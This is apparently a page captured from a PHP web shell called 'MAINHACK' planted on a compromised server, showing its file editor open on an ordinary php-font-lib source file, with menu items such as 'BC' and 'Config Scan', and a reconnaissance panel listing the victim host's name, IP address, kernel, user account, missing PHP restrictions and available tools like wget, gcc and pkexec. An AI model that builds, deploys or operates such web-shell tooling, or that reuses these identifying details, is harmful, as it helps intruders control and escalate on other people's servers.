[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DirectoryEntry.php
<?php /** * @package php-font-lib * @link https://github.com/dompdf/php-font-lib * @author Fabien Ménager <fabien.menager@gmail.com> * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License */ namespace FontLib\Table; use FontLib\TrueType\File; use FontLib\Font; use FontLib\BinaryStream; /** * Generic Font table directory entry. * * @package php-font-lib */ class DirectoryEntry extends BinaryStream { /** * @var File */ protected $font; /** * @var Table */ protected $font_table; public $entryLength = 4; public $tag; public $checksum; public $offset; public $length; protected $origF; /** * @param string $data * * @return int */ static function computeChecksum($data) { $len = mb_strlen($data, '8bit'); $mod = $len % 4; if ($mod) { $data = str_pad($data, $len + (4 - $mod), "\0"); } $table = unpack("N*", $data); return array_sum($table); } function __construct(File $font) { $this->font = $font; $this->f = $font->f; } function parse() { $this->tag = $this->font->read(4); } function open($filename, $mode = self::modeRead) { // void } function setTable(Table $font_table) { $this->font_table = $font_table; } function encode($entry_offset) { Font::d("\n==== $this->tag ===="); //Font::d("Entry offset = $entry_offset"); $data = $this->font_table; $font = $this->font; $table_offset = $font->pos(); $this->offset = $table_offset; $table_length = $data->encode(); $font->seek($table_offset + $table_length); $pad = 0; $mod = $table_length % 4; if ($mod != 0) { $pad = 4 - $mod; $font->write(str_pad("", $pad, "\0"), $pad); } $font->seek($table_offset); $table_data = $font->read($table_length); $font->seek($entry_offset); $font->write($this->tag, 4); $font->writeUInt32(self::computeChecksum($table_data)); $font->writeUInt32($table_offset); $font->writeUInt32($table_length); Font::d("Bytes written = $table_length"); $font->seek($table_offset + $table_length + $pad); } /** * @return File */ function getFont() { return $this->font; } function startRead() { $this->font->seek($this->offset); } function endRead() { // } function startWrite() { $this->font->seek($this->offset); } function endWrite() { // } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002